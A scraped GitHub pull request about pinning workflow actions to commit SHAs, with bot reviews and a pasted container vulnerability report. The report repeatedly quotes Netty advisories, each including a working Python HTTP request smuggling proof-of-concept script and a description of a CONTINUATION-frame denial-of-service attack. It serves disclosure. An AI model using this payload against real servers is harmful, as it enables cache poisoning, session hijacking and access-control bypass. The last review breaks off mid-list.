Skip to content

DAT-22562: Pin GitHub Actions to commit SHAs#518

Merged
jnewton03 merged 3 commits intomainfrom
DAT-22562
Mar 31, 2026
Merged

DAT-22562: Pin GitHub Actions to commit SHAs#518
jnewton03 merged 3 commits intomainfrom
DAT-22562

Conversation

@jnewton03
Copy link
Copy Markdown
Contributor

@jnewton03 jnewton03 commented Mar 20, 2026

Summary

  • Pins all 20 unique third-party action+tag combos (~58 occurrences) across 8 workflow files to immutable commit SHAs using the `@SHA # vN.N.N` pattern
  • Eliminates floating tags (`@v6`, `@v2`, etc.) that are vulnerable to tag-hijacking / supply chain attacks
  • Updates 4 stale floating-tag SHAs to specific semver release SHAs (see table below)
  • Dependabot is configured for `github-actions` ecosystem and will maintain these SHAs going forward

Closes DAT-22562 · Part of DAT-21269

Actions Pinned

Action Version Notes
`actions/checkout` v6.0.2
`actions/create-github-app-token` v2.2.2
`actions/download-artifact` v4.3.0
`actions/github-script` v8.0.0
`actions/labeler` v6.0.1
`actions/setup-java` v5.2.0
`actions/upload-artifact` v7.0.0
`aws-actions/configure-aws-credentials` v6.0.0 ⬆️ updated from stale floating-tag SHA
`aws-actions/aws-secretsmanager-get-secrets` v2.0.10 ⬆️ updated from stale floating-tag SHA
`docker/build-push-action` v7.0.0
`docker/login-action` v4.0.0
`docker/scout-action` v1.18.2
`docker/setup-buildx-action` v4.0.0
`docker/setup-qemu-action` v4.0.0
`douglascamata/setup-docker-macos-action` v1.1.0
`github/codeql-action/upload-sarif` v4.33.0 ⬆️ updated from stale floating-tag SHA
`peter-evans/dockerhub-description` v5.0.0
`rsdmike/github-security-report-action` v3.0.4
`rtCamp/action-slack-notify` v2.3.3 ⬆️ updated from stale floating-tag SHA
`the-actions-org/workflow-dispatch` v4.0.0

Out of Scope

  • `liquibase/build-logic@main` — internal org reusable workflows, intentionally unpinned
  • Pre-existing pins in `release-drafter.yml` — already pinned before this PR

Test Plan

  • Verify no unpinned third-party actions remain: `grep -rn 'uses:.*@v[0-9]' .github/workflows/ | grep -v '# v'`
  • Verify only `liquibase/build-logic@main` refs remain: `grep -rn 'uses:.*@main' .github/workflows/`
  • Spot-check a SHA via `git ls-remote` against a pinned action in the files
  • Confirm a workflow run completes successfully after merge

🤖 Generated with Claude Code

@coderabbitai
Copy link
Copy Markdown

coderabbitai bot commented Mar 20, 2026

Note

Reviews paused

It looks like this branch is under active development. To avoid overwhelming you with review comments due to an influx of new commits, CodeRabbit has automatically paused this review. You can configure this behavior by changing the reviews.auto_review.auto_pause_after_reviewed_commits setting.

Use the following commands to manage reviews:

  • @coderabbitai resume to resume automatic reviews.
  • @coderabbitai review to trigger a single review.

Use the checkboxes below for quick actions:

  • ▶️ Resume reviews
  • 🔍 Trigger review

No actionable comments were generated in the recent review. 🎉

ℹ️ Recent review info
⚙️ Run configuration

Configuration used: Organization UI

Review profile: CHILL

Plan: Pro

Run ID: 702acb6a-1d75-47ed-9c86-4e76eb055a37

📥 Commits

Reviewing files that changed from the base of the PR and between 3de819e and 9816809.

📒 Files selected for processing (8)
  • .github/workflows/build-qa-docker.yml
  • .github/workflows/create-release.yml
  • .github/workflows/labeler.yml
  • .github/workflows/publish-liquibase-secure-readme.yml
  • .github/workflows/publish-oss-readme.yml
  • .github/workflows/test.yml
  • .github/workflows/trivy-scan-published-images.yml
  • .github/workflows/trivy.yml
✅ Files skipped from review due to trivial changes (7)
  • .github/workflows/trivy-scan-published-images.yml
  • .github/workflows/build-qa-docker.yml
  • .github/workflows/labeler.yml
  • .github/workflows/publish-oss-readme.yml
  • .github/workflows/test.yml
  • .github/workflows/trivy.yml
  • .github/workflows/publish-liquibase-secure-readme.yml

📝 Walkthrough

Walkthrough

Multiple GitHub Actions workflows were changed to replace floating action version tags (e.g., @v6) with specific pinned commit SHAs in uses: references. No with: inputs, if: conditions, job names, or workflow control flow were modified. (50 words)

Changes

Cohort / File(s) Summary
Workflows — release & QA
.github/workflows/create-release.yml, .github/workflows/build-qa-docker.yml
Replaced several uses: floating tags with pinned commit SHAs for actions such as actions/github-script, aws-actions/configure-aws-credentials, actions/checkout, docker/setup-buildx-action, docker/build-push-action, and related docker/login/setup actions. No other step fields or control flow changed.
Workflows — labeling & tests
.github/workflows/labeler.yml, .github/workflows/test.yml
Pinned actions/checkout, actions/labeler, and additional referenced actions to commit SHAs; retained existing if: conditions (including macOS step), with: inputs, and job structure.
Workflows — publishing READMEs
.github/workflows/publish-liquibase-secure-readme.yml, .github/workflows/publish-oss-readme.yml
Pinned actions/checkout, aws-actions/*, and peter-evans/dockerhub-description to specific SHAs; preserved step ordering and all with: parameter values.
Workflows — security & scanning
.github/workflows/trivy.yml, .github/workflows/trivy-scan-published-images.yml
Pinned many action uses: references across jobs (checkout, buildx, login, build-push, aws-actions, scan/notify/upload actions) to commit SHAs; no changes to scanning logic, matrices, artifact paths, or job structure.

Estimated code review effort

🎯 2 (Simple) | ⏱️ ~10 minutes

Possibly related PRs

Suggested labels

type: ci

Suggested reviewers

  • jandroav
  • sayaliM0412
🚥 Pre-merge checks | ✅ 3
✅ Passed checks (3 passed)
Check name Status Explanation
Title check ✅ Passed The title 'DAT-22562: Pin GitHub Actions to commit SHAs' clearly and concisely describes the main change: pinning GitHub Actions to commit SHAs for security.
Description check ✅ Passed The description provides comprehensive details about pinning GitHub Actions to commit SHAs, including rationale, affected files, specific actions pinned, test plan, and related issues.
Docstring Coverage ✅ Passed No functions found in the changed files to evaluate docstring coverage. Skipping docstring coverage check.

✏️ Tip: You can configure your own custom pre-merge checks in the settings.

✨ Finishing Touches
🧪 Generate unit tests (beta)
  • Create PR with unit tests
  • Commit unit tests in branch DAT-22562

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share

Comment @coderabbitai help to get the list of available commands and usage tips.

@claude
Copy link
Copy Markdown
Contributor

claude bot commented Mar 20, 2026

Claude finished @jnewton03's task in 1m 17s —— View job


GitHub Actions SHA Pinning Review

Summary: ✅ Comprehensive and well-executed security hardening

Verification Results

  • No unpinned third-party actions remain: Confirmed all @vN format actions have been pinned to SHAs
  • Internal workflows preserved: Only liquibase/build-logic@main references remain (intentional, internal org workflows)
  • Consistent format across all files: All pinned actions use @SHA # vN format for Dependabot compatibility

Coverage

All 8 workflow files updated with 20 unique action+tag combinations pinned:

  • Core actions: checkout (v6), upload/download-artifact (v7/v4), setup-java (v5), labeler (v6), github-script (v8), create-github-app-token (v2)
  • Docker actions: login, build-push, setup-buildx, setup-qemu, scout (7 total)
  • AWS actions: configure-aws-credentials, aws-secretsmanager-get-secrets
  • Third-party: douglascamata/setup-docker-macos, docker/scout, rtCamp/action-slack-notify, github/codeql-action, rsdmike/github-security-report-action, peter-evans/dockerhub-description, the-actions-org/workflow-dispatch

Security Impact

✅ Immutable pinning prevents supply chain attacks and ensures reproducible builds
✅ Dependabot compatibility maintained via version comment format
✅ Balanced security with maintainability

No issues found. This PR comprehensively hardens the workflow security posture.


@claude
Copy link
Copy Markdown
Contributor

claude bot commented Mar 20, 2026

Claude finished @jnewton03's task in 1m 9s —— View job


Review Complete ✅

GitHub Actions SHA Pinning - Security Hardening

Verification Results

  • No unpinned third-party actions remain: All @vN format actions now have immutable SHA pins with version comment
  • Internal workflows preserved: Only liquibase/build-logic@main references remain (5 instances, all internal org workflows - correct)
  • Format consistency: All pinned actions use @SHA # vN format across all 8 files
  • Complete coverage: 20 unique action+tag combinations pinned across ~58 total occurrences

Changes Summary

Updated in 8 workflow files:

  • Core actions: checkout, upload/download-artifact, setup-java, labeler, github-script, create-github-app-token
  • Docker actions: login, build-push, setup-buildx, setup-qemu, scout
  • AWS actions: configure-aws-credentials, aws-secretsmanager-get-secrets
  • Third-party: docker/scout, rtCamp/action-slack-notify, github/codeql-action, rsdmike/github-security-report-action, peter-evans/dockerhub-description, the-actions-org/workflow-dispatch

Security Impact

Supply chain attack prevention - Immutable SHA pinning prevents tag mutation
Dependabot compatibility - Version comment format maintains update capability
Reproducible builds - Exact action versions guaranteed across runs

No issues found. This PR successfully hardens the workflow security posture with clean, well-executed changes.


@github-actions
Copy link
Copy Markdown
Contributor

github-actions bot commented Mar 20, 2026

🔍 Vulnerabilities of liquibase/liquibase-secure:95fc6b4ded3ccbe3278dc961f7b6226db203c83b

📦 Image Reference liquibase/liquibase-secure:95fc6b4ded3ccbe3278dc961f7b6226db203c83b
digestsha256:3903c2ce0b77c62a3ec90ba8a97b827b5b5204653348570183d99777047975f9
vulnerabilitiescritical: 0 high: 6 medium: 0 low: 0
platformlinux/amd64
size870 MB
packages470
📦 Base Image eclipse-temurin:21-jre
also known as
  • 21-jre-noble
  • 21.0.10_7-jre
  • 21.0.10_7-jre-noble
  • a26beda5d3a48883a6c629ec04b95a1e91c223d1c8bbffef792214d0ea11ca36
digestsha256:be2ed5af8104188957a9f8ba1e440cc357f4d0f6f5a5628e84c9b9c5843214e6
vulnerabilitiescritical: 0 high: 0 medium: 6 low: 3
critical: 0 high: 1 medium: 0 low: 0 io.netty/netty-codec-http 4.1.130.Final (maven)

pkg:maven/io.netty/netty-codec-http@4.1.130.Final

high 7.5: CVE--2026--33870 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')

Affected range<4.1.132.Final
Fixed version4.1.132.Final
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
EPSS Score0.029%
EPSS Percentile8th percentile
Description

Summary

Netty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks.

Background

This vulnerability is a new variant discovered during research into the "Funky Chunks" HTTP request smuggling techniques:

The original research tested various chunk extension parsing differentials but did not cover quoted-string handling within extension values.

Technical Details

RFC 9110 Section 7.1.1 defines chunked transfer encoding:

chunk = chunk-size [ chunk-ext ] CRLF chunk-data CRLF
chunk-ext = *( BWS ";" BWS chunk-ext-name [ BWS "=" BWS chunk-ext-val ] )
chunk-ext-val = token / quoted-string

RFC 9110 Section 5.6.4 defines quoted-string:

quoted-string = DQUOTE *( qdtext / quoted-pair ) DQUOTE

Critically, the allowed character ranges within a quoted-string are:

qdtext = HTAB / SP / %x21 / %x23-5B / %x5D-7E / obs-text
quoted-pair = "\" ( HTAB / SP / VCHAR / obs-text )

CR (%x0D) and LF (%x0A) bytes fall outside all of these ranges and are therefore not permitted inside chunk extensions—whether quoted or unquoted. A strictly compliant parser should reject any request containing CR or LF bytes before the actual line terminator within a chunk extension with a 400 Bad Request response (as Squid does, for example).

Vulnerability

Netty terminates chunk header parsing at \r\n inside quoted strings instead of rejecting the request as malformed. This creates a parsing differential between Netty and RFC-compliant parsers, which can be exploited for request smuggling.

Expected behavior (RFC-compliant):
A request containing CR/LF bytes within a chunk extension value should be rejected outright as invalid.

Actual behavior (Netty):

Chunk: 1;a="value
            ^^^^^ parsing terminates here at \r\n (INCORRECT)
Body: here"... is treated as body or the beginning of a subsequent request

The root cause is that Netty does not validate that CR/LF bytes are forbidden inside chunk extensions before the terminating CRLF. Rather than attempting to parse through quoted strings, the appropriate fix is to reject such requests entirely.

Proof of Concept

#!/usr/bin/env python3
import socket

payload = (
    b"POST / HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"Transfer-Encoding: chunked\r\n"
    b"\r\n"
    b'1;a="\r\n'
    b"X\r\n"
    b"0\r\n"
    b"\r\n"
    b"GET /smuggled HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"Content-Length: 11\r\n"
    b"\r\n"
    b'"\r\n'
    b"Y\r\n"
    b"0\r\n"
    b"\r\n"
)

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(3)
sock.connect(("127.0.0.1", 8080))
sock.sendall(payload)

response = b""
while True:
    try:
        chunk = sock.recv(4096)
        if not chunk:
            break
        response += chunk
    except socket.timeout:
        break

sock.close()
print(f"Responses: {response.count(b'HTTP/')}")
print(response.decode(errors="replace"))

Result: The server returns two HTTP responses from a single TCP connection, confirming request smuggling.

Parsing Breakdown

Parser Request 1 Request 2
Netty (vulnerable) POST / body="X" GET /smuggled (SMUGGLED)
RFC-compliant parser 400 Bad Request (none — malformed request rejected)

Impact

  • Request Smuggling: An attacker can inject arbitrary HTTP requests into a connection.
  • Cache Poisoning: Smuggled responses may poison shared caches.
  • Access Control Bypass: Smuggled requests can circumvent frontend security controls.
  • Session Hijacking: Smuggled requests may intercept responses intended for other users.

Reproduction

  1. Start the minimal proof-of-concept environment using the provided Docker configuration.
  2. Execute the proof-of-concept script included in the attached archive.

Suggested Fix

The parser should reject requests containing CR or LF bytes within chunk extensions rather than attempting to interpret them:

1. Read chunk-size.
2. If ';' is encountered, begin parsing extensions:
   a. For each byte before the terminating CRLF:
      - If CR (%x0D) or LF (%x0A) is encountered outside the
        final terminating CRLF, reject the request with 400 Bad Request.
   b. If the extension value begins with DQUOTE, validate that all
      enclosed bytes conform to the qdtext / quoted-pair grammar.
3. Only treat CRLF as the chunk header terminator when it appears
   outside any quoted-string context and contains no preceding
   illegal bytes.

Acknowledgments

Credit to Ben Kallus for clarifying the RFC interpretation during discussion on the HAProxy mailing list.

Resources

Attachments

Vulnerability Diagram

java_netty.zip

critical: 0 high: 1 medium: 0 low: 0 io.netty/netty-codec-http2 4.2.9.Final (maven)

pkg:maven/io.netty/netty-codec-http2@4.2.9.Final

high 8.7: CVE--2026--33871 Allocation of Resources Without Limits or Throttling

Affected range>=4.2.0.Alpha1
<4.2.10.Final
Fixed version4.2.11.Final
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.087%
EPSS Percentile25th percentile
Description

Summary

A remote user can trigger a Denial of Service (DoS) against a Netty HTTP/2 server by sending a flood of CONTINUATION frames. The server's lack of a limit on the number of CONTINUATION frames, combined with a bypass of existing size-based mitigations using zero-byte frames, allows an user to cause excessive CPU consumption with minimal bandwidth, rendering the server unresponsive.

Details

The vulnerability exists in Netty's DefaultHttp2FrameReader. When an HTTP/2 HEADERS frame is received without the END_HEADERS flag, the server expects one or more subsequent CONTINUATION frames. However, the implementation does not enforce a limit on the count of these CONTINUATION frames.

The key issue is located in codec-http2/src/main/java/io/netty/handler/codec/http2/DefaultHttp2FrameReader.java. The verifyContinuationFrame() method checks for stream association but fails to implement a frame count limit.

Any user can exploit this by sending a stream of CONTINUATION frames with a zero-byte payload. While Netty has a maxHeaderListSize protection to limit the total size of headers, this check is never triggered by zero-byte frames. The logic effectively evaluates to maxHeaderListSize - 0 < currentSize, which will not trigger the limit until a non-zero byte is added. As a result, the server is forced to process an unlimited number of frames, consuming a CPU thread and monopolizing the connection.

codec-http2/src/main/java/io/netty/handler/codec/http2/DefaultHttp2FrameReader.java

verifyContinuationFrame() (lines 381-393) — No frame count check:

private void verifyContinuationFrame() throws Http2Exception {
    verifyAssociatedWithAStream();
    if (headersContinuation == null) {
        throw connectionError(PROTOCOL_ERROR, "...");
    }
    if (streamId != headersContinuation.getStreamId()) {
        throw connectionError(PROTOCOL_ERROR, "...");
    }
    // NO frame count limit!
}

HeadersBlockBuilder.addFragment() (lines 695-723) — Byte limit bypassed by 0-byte frames:

// Line 710-711: This check NEVER fires when len=0
if (headersDecoder.configuration().maxHeaderListSizeGoAway() - len <
        headerBlock.readableBytes()) {
    headerSizeExceeded();  // 10240 - 0 < 1 => FALSE always
}

When len=0: maxGoAway - 0 < readableBytes10240 < 1 → FALSE. The byte limit is never triggered.

Impact

This is a CPU-based Denial of Service (DoS). Any service using Netty's default HTTP/2 server implementation is impacted. An unauthenticated user can exhaust server CPU resources and block legitimate users, leading to service unavailability. The low bandwidth requirement for the attack makes it highly practical.

critical: 0 high: 1 medium: 0 low: 0 io.netty/netty-codec-http 4.1.129.Final (maven)

pkg:maven/io.netty/netty-codec-http@4.1.129.Final

high 7.5: CVE--2026--33870 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')

Affected range<4.1.132.Final
Fixed version4.1.132.Final
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
EPSS Score0.029%
EPSS Percentile8th percentile
Description

Summary

Netty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks.

Background

This vulnerability is a new variant discovered during research into the "Funky Chunks" HTTP request smuggling techniques:

The original research tested various chunk extension parsing differentials but did not cover quoted-string handling within extension values.

Technical Details

RFC 9110 Section 7.1.1 defines chunked transfer encoding:

chunk = chunk-size [ chunk-ext ] CRLF chunk-data CRLF
chunk-ext = *( BWS ";" BWS chunk-ext-name [ BWS "=" BWS chunk-ext-val ] )
chunk-ext-val = token / quoted-string

RFC 9110 Section 5.6.4 defines quoted-string:

quoted-string = DQUOTE *( qdtext / quoted-pair ) DQUOTE

Critically, the allowed character ranges within a quoted-string are:

qdtext = HTAB / SP / %x21 / %x23-5B / %x5D-7E / obs-text
quoted-pair = "\" ( HTAB / SP / VCHAR / obs-text )

CR (%x0D) and LF (%x0A) bytes fall outside all of these ranges and are therefore not permitted inside chunk extensions—whether quoted or unquoted. A strictly compliant parser should reject any request containing CR or LF bytes before the actual line terminator within a chunk extension with a 400 Bad Request response (as Squid does, for example).

Vulnerability

Netty terminates chunk header parsing at \r\n inside quoted strings instead of rejecting the request as malformed. This creates a parsing differential between Netty and RFC-compliant parsers, which can be exploited for request smuggling.

Expected behavior (RFC-compliant):
A request containing CR/LF bytes within a chunk extension value should be rejected outright as invalid.

Actual behavior (Netty):

Chunk: 1;a="value
            ^^^^^ parsing terminates here at \r\n (INCORRECT)
Body: here"... is treated as body or the beginning of a subsequent request

The root cause is that Netty does not validate that CR/LF bytes are forbidden inside chunk extensions before the terminating CRLF. Rather than attempting to parse through quoted strings, the appropriate fix is to reject such requests entirely.

Proof of Concept

#!/usr/bin/env python3
import socket

payload = (
    b"POST / HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"Transfer-Encoding: chunked\r\n"
    b"\r\n"
    b'1;a="\r\n'
    b"X\r\n"
    b"0\r\n"
    b"\r\n"
    b"GET /smuggled HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"Content-Length: 11\r\n"
    b"\r\n"
    b'"\r\n'
    b"Y\r\n"
    b"0\r\n"
    b"\r\n"
)

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(3)
sock.connect(("127.0.0.1", 8080))
sock.sendall(payload)

response = b""
while True:
    try:
        chunk = sock.recv(4096)
        if not chunk:
            break
        response += chunk
    except socket.timeout:
        break

sock.close()
print(f"Responses: {response.count(b'HTTP/')}")
print(response.decode(errors="replace"))

Result: The server returns two HTTP responses from a single TCP connection, confirming request smuggling.

Parsing Breakdown

Parser Request 1 Request 2
Netty (vulnerable) POST / body="X" GET /smuggled (SMUGGLED)
RFC-compliant parser 400 Bad Request (none — malformed request rejected)

Impact

  • Request Smuggling: An attacker can inject arbitrary HTTP requests into a connection.
  • Cache Poisoning: Smuggled responses may poison shared caches.
  • Access Control Bypass: Smuggled requests can circumvent frontend security controls.
  • Session Hijacking: Smuggled requests may intercept responses intended for other users.

Reproduction

  1. Start the minimal proof-of-concept environment using the provided Docker configuration.
  2. Execute the proof-of-concept script included in the attached archive.

Suggested Fix

The parser should reject requests containing CR or LF bytes within chunk extensions rather than attempting to interpret them:

1. Read chunk-size.
2. If ';' is encountered, begin parsing extensions:
   a. For each byte before the terminating CRLF:
      - If CR (%x0D) or LF (%x0A) is encountered outside the
        final terminating CRLF, reject the request with 400 Bad Request.
   b. If the extension value begins with DQUOTE, validate that all
      enclosed bytes conform to the qdtext / quoted-pair grammar.
3. Only treat CRLF as the chunk header terminator when it appears
   outside any quoted-string context and contains no preceding
   illegal bytes.

Acknowledgments

Credit to Ben Kallus for clarifying the RFC interpretation during discussion on the HAProxy mailing list.

Resources

Attachments

Vulnerability Diagram

java_netty.zip

critical: 0 high: 1 medium: 0 low: 0 io.netty/netty-codec-http2 4.1.129.Final (maven)

pkg:maven/io.netty/netty-codec-http2@4.1.129.Final

high 8.7: CVE--2026--33871 Allocation of Resources Without Limits or Throttling

Affected range<4.1.132.Final
Fixed version4.1.132.Final
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.087%
EPSS Percentile25th percentile
Description

Summary

A remote user can trigger a Denial of Service (DoS) against a Netty HTTP/2 server by sending a flood of CONTINUATION frames. The server's lack of a limit on the number of CONTINUATION frames, combined with a bypass of existing size-based mitigations using zero-byte frames, allows an user to cause excessive CPU consumption with minimal bandwidth, rendering the server unresponsive.

Details

The vulnerability exists in Netty's DefaultHttp2FrameReader. When an HTTP/2 HEADERS frame is received without the END_HEADERS flag, the server expects one or more subsequent CONTINUATION frames. However, the implementation does not enforce a limit on the count of these CONTINUATION frames.

The key issue is located in codec-http2/src/main/java/io/netty/handler/codec/http2/DefaultHttp2FrameReader.java. The verifyContinuationFrame() method checks for stream association but fails to implement a frame count limit.

Any user can exploit this by sending a stream of CONTINUATION frames with a zero-byte payload. While Netty has a maxHeaderListSize protection to limit the total size of headers, this check is never triggered by zero-byte frames. The logic effectively evaluates to maxHeaderListSize - 0 < currentSize, which will not trigger the limit until a non-zero byte is added. As a result, the server is forced to process an unlimited number of frames, consuming a CPU thread and monopolizing the connection.

codec-http2/src/main/java/io/netty/handler/codec/http2/DefaultHttp2FrameReader.java

verifyContinuationFrame() (lines 381-393) — No frame count check:

private void verifyContinuationFrame() throws Http2Exception {
    verifyAssociatedWithAStream();
    if (headersContinuation == null) {
        throw connectionError(PROTOCOL_ERROR, "...");
    }
    if (streamId != headersContinuation.getStreamId()) {
        throw connectionError(PROTOCOL_ERROR, "...");
    }
    // NO frame count limit!
}

HeadersBlockBuilder.addFragment() (lines 695-723) — Byte limit bypassed by 0-byte frames:

// Line 710-711: This check NEVER fires when len=0
if (headersDecoder.configuration().maxHeaderListSizeGoAway() - len <
        headerBlock.readableBytes()) {
    headerSizeExceeded();  // 10240 - 0 < 1 => FALSE always
}

When len=0: maxGoAway - 0 < readableBytes10240 < 1 → FALSE. The byte limit is never triggered.

Impact

This is a CPU-based Denial of Service (DoS). Any service using Netty's default HTTP/2 server implementation is impacted. An unauthenticated user can exhaust server CPU resources and block legitimate users, leading to service unavailability. The low bandwidth requirement for the attack makes it highly practical.

critical: 0 high: 1 medium: 0 low: 0 io.netty/netty-codec-http 4.2.9.Final (maven)

pkg:maven/io.netty/netty-codec-http@4.2.9.Final

high 7.5: CVE--2026--33870 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')

Affected range>=4.2.0.Alpha1
<4.2.10.Final
Fixed version4.2.10.Final
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
EPSS Score0.029%
EPSS Percentile8th percentile
Description

Summary

Netty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks.

Background

This vulnerability is a new variant discovered during research into the "Funky Chunks" HTTP request smuggling techniques:

The original research tested various chunk extension parsing differentials but did not cover quoted-string handling within extension values.

Technical Details

RFC 9110 Section 7.1.1 defines chunked transfer encoding:

chunk = chunk-size [ chunk-ext ] CRLF chunk-data CRLF
chunk-ext = *( BWS ";" BWS chunk-ext-name [ BWS "=" BWS chunk-ext-val ] )
chunk-ext-val = token / quoted-string

RFC 9110 Section 5.6.4 defines quoted-string:

quoted-string = DQUOTE *( qdtext / quoted-pair ) DQUOTE

Critically, the allowed character ranges within a quoted-string are:

qdtext = HTAB / SP / %x21 / %x23-5B / %x5D-7E / obs-text
quoted-pair = "\" ( HTAB / SP / VCHAR / obs-text )

CR (%x0D) and LF (%x0A) bytes fall outside all of these ranges and are therefore not permitted inside chunk extensions—whether quoted or unquoted. A strictly compliant parser should reject any request containing CR or LF bytes before the actual line terminator within a chunk extension with a 400 Bad Request response (as Squid does, for example).

Vulnerability

Netty terminates chunk header parsing at \r\n inside quoted strings instead of rejecting the request as malformed. This creates a parsing differential between Netty and RFC-compliant parsers, which can be exploited for request smuggling.

Expected behavior (RFC-compliant):
A request containing CR/LF bytes within a chunk extension value should be rejected outright as invalid.

Actual behavior (Netty):

Chunk: 1;a="value
            ^^^^^ parsing terminates here at \r\n (INCORRECT)
Body: here"... is treated as body or the beginning of a subsequent request

The root cause is that Netty does not validate that CR/LF bytes are forbidden inside chunk extensions before the terminating CRLF. Rather than attempting to parse through quoted strings, the appropriate fix is to reject such requests entirely.

Proof of Concept

#!/usr/bin/env python3
import socket

payload = (
    b"POST / HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"Transfer-Encoding: chunked\r\n"
    b"\r\n"
    b'1;a="\r\n'
    b"X\r\n"
    b"0\r\n"
    b"\r\n"
    b"GET /smuggled HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"Content-Length: 11\r\n"
    b"\r\n"
    b'"\r\n'
    b"Y\r\n"
    b"0\r\n"
    b"\r\n"
)

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(3)
sock.connect(("127.0.0.1", 8080))
sock.sendall(payload)

response = b""
while True:
    try:
        chunk = sock.recv(4096)
        if not chunk:
            break
        response += chunk
    except socket.timeout:
        break

sock.close()
print(f"Responses: {response.count(b'HTTP/')}")
print(response.decode(errors="replace"))

Result: The server returns two HTTP responses from a single TCP connection, confirming request smuggling.

Parsing Breakdown

Parser Request 1 Request 2
Netty (vulnerable) POST / body="X" GET /smuggled (SMUGGLED)
RFC-compliant parser 400 Bad Request (none — malformed request rejected)

Impact

  • Request Smuggling: An attacker can inject arbitrary HTTP requests into a connection.
  • Cache Poisoning: Smuggled responses may poison shared caches.
  • Access Control Bypass: Smuggled requests can circumvent frontend security controls.
  • Session Hijacking: Smuggled requests may intercept responses intended for other users.

Reproduction

  1. Start the minimal proof-of-concept environment using the provided Docker configuration.
  2. Execute the proof-of-concept script included in the attached archive.

Suggested Fix

The parser should reject requests containing CR or LF bytes within chunk extensions rather than attempting to interpret them:

1. Read chunk-size.
2. If ';' is encountered, begin parsing extensions:
   a. For each byte before the terminating CRLF:
      - If CR (%x0D) or LF (%x0A) is encountered outside the
        final terminating CRLF, reject the request with 400 Bad Request.
   b. If the extension value begins with DQUOTE, validate that all
      enclosed bytes conform to the qdtext / quoted-pair grammar.
3. Only treat CRLF as the chunk header terminator when it appears
   outside any quoted-string context and contains no preceding
   illegal bytes.

Acknowledgments

Credit to Ben Kallus for clarifying the RFC interpretation during discussion on the HAProxy mailing list.

Resources

Attachments

Vulnerability Diagram

java_netty.zip

critical: 0 high: 1 medium: 0 low: 0 io.netty/netty-codec-http2 4.1.130.Final (maven)

pkg:maven/io.netty/netty-codec-http2@4.1.130.Final

high 8.7: CVE--2026--33871 Allocation of Resources Without Limits or Throttling

Affected range<4.1.132.Final
Fixed version4.1.132.Final
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.087%
EPSS Percentile25th percentile
Description

Summary

A remote user can trigger a Denial of Service (DoS) against a Netty HTTP/2 server by sending a flood of CONTINUATION frames. The server's lack of a limit on the number of CONTINUATION frames, combined with a bypass of existing size-based mitigations using zero-byte frames, allows an user to cause excessive CPU consumption with minimal bandwidth, rendering the server unresponsive.

Details

The vulnerability exists in Netty's DefaultHttp2FrameReader. When an HTTP/2 HEADERS frame is received without the END_HEADERS flag, the server expects one or more subsequent CONTINUATION frames. However, the implementation does not enforce a limit on the count of these CONTINUATION frames.

The key issue is located in codec-http2/src/main/java/io/netty/handler/codec/http2/DefaultHttp2FrameReader.java. The verifyContinuationFrame() method checks for stream association but fails to implement a frame count limit.

Any user can exploit this by sending a stream of CONTINUATION frames with a zero-byte payload. While Netty has a maxHeaderListSize protection to limit the total size of headers, this check is never triggered by zero-byte frames. The logic effectively evaluates to maxHeaderListSize - 0 < currentSize, which will not trigger the limit until a non-zero byte is added. As a result, the server is forced to process an unlimited number of frames, consuming a CPU thread and monopolizing the connection.

codec-http2/src/main/java/io/netty/handler/codec/http2/DefaultHttp2FrameReader.java

verifyContinuationFrame() (lines 381-393) — No frame count check:

private void verifyContinuationFrame() throws Http2Exception {
    verifyAssociatedWithAStream();
    if (headersContinuation == null) {
        throw connectionError(PROTOCOL_ERROR, "...");
    }
    if (streamId != headersContinuation.getStreamId()) {
        throw connectionError(PROTOCOL_ERROR, "...");
    }
    // NO frame count limit!
}

HeadersBlockBuilder.addFragment() (lines 695-723) — Byte limit bypassed by 0-byte frames:

// Line 710-711: This check NEVER fires when len=0
if (headersDecoder.configuration().maxHeaderListSizeGoAway() - len <
        headerBlock.readableBytes()) {
    headerSizeExceeded();  // 10240 - 0 < 1 => FALSE always
}

When len=0: maxGoAway - 0 < readableBytes10240 < 1 → FALSE. The byte limit is never triggered.

Impact

This is a CPU-based Denial of Service (DoS). Any service using Netty's default HTTP/2 server implementation is impacted. An unauthenticated user can exhaust server CPU resources and block legitimate users, leading to service unavailability. The low bandwidth requirement for the attack makes it highly practical.

@jnewton03 jnewton03 marked this pull request as ready for review March 20, 2026 22:04
@claude
Copy link
Copy Markdown
Contributor

claude bot commented Mar 23, 2026

Claude finished @jnewton03's task in 55s —— View job


GitHub Actions SHA Pinning Review

Critical Issues Found ❌

YAML Syntax Errors — 3 workflow steps are missing the list item indicator (-) before uses:, which will cause GitHub Actions to fail parsing the workflows:

  1. .github/workflows/create-release.yml:355-356 — Two steps missing the dash:

    • uses: docker/setup-qemu-action@...
